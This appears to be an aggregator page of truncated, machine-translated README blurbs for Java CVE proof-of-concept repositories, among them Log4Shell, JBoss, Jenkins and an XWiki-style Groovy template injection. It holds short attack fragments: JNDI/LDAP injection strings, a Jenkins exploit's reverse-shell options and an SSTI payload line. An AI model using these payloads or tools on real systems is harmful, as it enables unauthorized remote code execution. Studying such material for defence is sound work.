jboss-_CVE-2017-12149

jboss-CVE-2017-12149 verifyCVE-2017-12149.jar는 명령줄 모드에서 취약점을 검증할 수 있습니다. 취약점이 존재하면 특징 문자열을 반환합니다. 다음 명령만 실행하면 됩니다: root@kitploit: $ java -jar verifyCVE-2017-12149.jar http://xxx:8080 成功返回: vuln6581362514513155613jboss...

CVE-2020-5245

CVE-2020-5245 1. 애플리케이션을 빌드하려면 mvn clean install을 실행하세요. 2. java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml로 애플리케이션을 시작하세요. 3. 애플리케이션이 실행 중인지 확인하려면 http://localhost:8080 URL을 입력하세요. pom.xml에 일부 오류, 플러그인은 영향을 받지 않았습니다, 재현 재현 curl...

CVE-2021-44228-Log4Shell-POC

CVE-2021-44228-Log4Shell-POC 悪名高いLog4j CVE-2021-44228の完全なPOC 前提条件 ここからJavaをダウンロードしてインストールします。jdk-8u181を使用できます。 ここからIntelliJ Ideaをインストールします。 POC ステップ1 : このリポジトリをクローンします。 ステップ2 : Exploit.javaファイルを別のフォルダに移動します。私の場合は、ホームディレクトリ内にrceというフォルダを作成しました。/home/coldfusionx/rce ステップ3 : Exploit.javaを確認します。...

CVE-2021-2394

CVE-2021-2394 POC of CVE-2021-2394 Disclaimer This project is for educational use only. Any direct or indirect consequences and losses caused by unauthorized testing shall be borne solely by the user. Notes The POC uses IIOP to send packets. Please add the relevant dependencies the 12.2.1.3.0...

Decompiler_Tools

FerramentasDecompilador 0x01 decompilador padrão do IDEA Diretório do Mac OS /Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib root@kitploit: /Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib -rw-r--r--@ 1 xxx xxx 1.4M 4 8 22:19 java-decompiler.jar...

CVE-2015-7501

Laboratorio para Vulnerabilidades de Deserialización en Java Este contenido está relacionado con el artículo escrito para la 12.ª edición de la revista H2HC. Vea el artículo completo en: https://www.h2hc.com.br/revista/ Las diapositivas y el video de la charla estarán disponibles próximamente. Un...

CVE-2021-44228

CVE-2021-44228 Preuve de concept Log4Shell CVE-2021-44228 Assurez-vous d'utiliser le JDK Java 8. Téléchargement Java 8 Images Crédits Casey Dunham - Shell inverse Java kozmer - PoC initiale Légal L'auteur de ce script n'assume aucune responsabilité quant à l'utilisation de ce code ! Il a été créé...

CVE-2026-0848-PoC-Improper-Input-Validation

CVE-2026-0848 - NLTK StanfordSegmenter RCE PoC ⚠️ WARNING This code executes arbitrary commands on your system. Use ONLY in virtual machines or isolated containers. Description Functional PoC for CVE-2026-0848. Demonstrates how a malicious JAR file can execute arbitrary code when loaded by NLTK...

SpringCloudGatewayRCE

SpringCloudGateway Remote Command Execution Vulnerability Code By: Tas9er 0x00 Risk Overview This tool is intended for authorized security testing only. Unauthorized attacks on systems are prohibited. 0x01 Tool Usage java -jar SpringCloudGatewayRCE.jar 0x02 Bug Issues Will address later...

CVE-2017-10366_peoplesoft

CVE-2017-10366: Oracle PeopleSoft 8.54, 8.55, 8.56 Java deserialization exploit This script automates the exploitation of a Java deserialization vulnerability in Oracle PeopleSoft, originally discovered by Vahagn Vardanyan. This exploit requires ysoserial.jar to generate cross-platform serialized...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명입니다. 최근 log4j에서 새로운 취약점이 발견되었습니다. log4j는 elasticsearch, minecraft 및 기타 여러 곳에서 매우 널리 사용되는 Java 로깅 라이브러리입니다. 이 저장소에는 취약한 예제 애플리케이션과 이에 대한 개념 증명POC 익스플로잇이 포함되어 있습니다. 개념 증명POC PoC로 프로세스를 자동화하는 Python 파일이 있습니다. 요구 사항: root@kitploit: pip install -r...

cve-2021-44228-qingteng-online-patch

cve-2021-44228-qingteng-online-patch 这是什么 通过利用漏洞本身热修补CVE-2021-44228。 如何使用 将以下代码注入到可能受CVE-2021-44228影响的任何位置， root@kitploit: $jndi:ldap://your-own-server/patch 为防止修补过程中的中间人攻击（MITM），建议使用以下payload，但对于旧版Java兼容性较差， root@kitploit: $jndi:ldap://your-own-server/anystringexceptpatch 运行你自己的服务器 1. 下载最新的发行版 2...

CVE-2018-1000861

CVE-2018-1000861 用于利用CVE-2018-1000861的简单脚本，使用Python 3编写 使用说明： root@kitploit: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help 显示帮助信息并退出 -u URL, --url URL 目标Jenkins服务器 -c CMD, --cmd CMD 要执行的命令 -r, --revshell 执行反弹shell -i IP, --ip IP 反弹shell回调的IP地址 -p PORT, --port PORT...

CVE-2024-24919-Exploit

CVE202424919 취약점 스캐너 이 Java 도구는 IP 주소 목록에서 CVE-2024-24919 취약점을 검사합니다. 취약점을 악용하려 시도하며, 응답 본문 데이터를 출력하고 대상 파일 디렉터리를 변경하는 옵션을 제공합니다. 목차 사용법 기능 설치 도구 실행 라이선스 사용법 이 도구는 domain-IP.txt라는 파일에서 IP 주소 목록을 읽어 각 IP에 대해 CVE-2024-24919 취약점을 확인하고, 결과에 따라 추가 작업을 위한 대화형 옵션을 제공합니다. 기능 취약점 확인 : IP 주소가 CVE-2024-2491...

mimosa

Mimosa Description 시스템 재부팅, 데이터베이스 덤프, 예전에는 SecureCoding이라고 불렸으며, 이제 주니어에게 넘겨졌고, 마침내 완전히 다시 작성되었습니다. 이것은 오픈소스 코어이며, 관리 제어 기능은 포함하지 않습니다. Features 다양한 챌린지 현대 대중문화에 대한 참조 Getting Started 방법 1: Jar 버전 최신 Mimosa 릴리스를 여기에서 다운로드하세요. 터미널에서 다음 명령어를 실행하기 전에 원하는 디렉터리에 mimosa를 배치하세요. root@kitploit:...

testng-team__testng_CVE-2022-4065_7-5

TestNG의 메인 웹사이트에서 문서를 확인할 수 있습니다. 릴리스 노트 7.4.0 7.3.0 7.1.0 7.0.0 도움이 필요하신가요? 새 이슈를 열기 전에 다음 곳에 질문을 올리셨나요? Google 그룹 StackOverflow 두 사이트 모두에 게시하셨다면, 답변이 중복되지 않도록 다른 질문의 링크를 제공해 주세요. 정말 TestNG 버그인가요? 이슈를 게시하기 전에 셸 창에서 문제를 재현해 보세요. 셸에서 문제가 발생하지 않는다면, 먼저 러너의 버그트래커에 해당 이슈가 있는지 확인하고, 해당 사이트에 먼저 이슈를 열어...

ff4j__ff4j_CVE-2022-44262_1-8-13

✨✨✨ FF4J - Java용 피처 플리핑Feature Flipping ✨✨✨ Codacy Badge FF4j는 Feature Toggle 패턴의 구현체입니다. 🤘기능 기능 토글Feature Toggle: 런타임에 기능을 활성화 및 비활성화합니다. 배포가 필요 없습니다. 코드에서 동적 조건if/then/else으로 보호되는 여러 경로를 구현하세요. 역할 기반 토글링Role-based Toggling: 플래그 값뿐만 아니라 역할role과 그룹으로 접근을 제어하여 기능을 활성화할 수 있습니다카나리 릴리스. Spring...

CVE-2024-31982

CVE-2024-31982 SSTI Java - Mène à une RCE root@kitploit: async async=falsegroovyprintln"Successful Injection"/groovy/ root@kitploit: GET...

CVE-2020-10199_CVE-2020-10204

MaiMeng: herramienta de detección de vulnerabilidades CVE-2020-10199 y CVE-2020-10204 Descripción de la herramienta Escribí esta pequeña herramienta en Java en mi tiempo libre. Admite la detección con un solo clic de las vulnerabilidades CVE-2020-10199 y CVE-2020-10204 y cuenta con una interfaz...

apache__mina-sshd_CVE-2023-35887_2-9-2

Apache MINA SSHD Apache MINA SSHD는 클라이언트 및 서버 측에서 SSH 프로토콜을 지원하는 100% 순수 자바 라이브러리입니다. Unix 운영 체제의 SSH 클라이언트 또는 SSH 서버를 대체하는 것을 목표로 하지 않으며, SSH 지원이 필요한 Java 기반 애플리케이션을 위한 지원을 제공합니다. 이 라이브러리는 여러 I/O 백엔드를 활용할 수 있습니다: 기본 전송은 내장되어 있으며 Java의 AsynchronousSocketChannels를 사용합니다. 확장 가능하고 고성능의 비동기 I/O 라이브러리...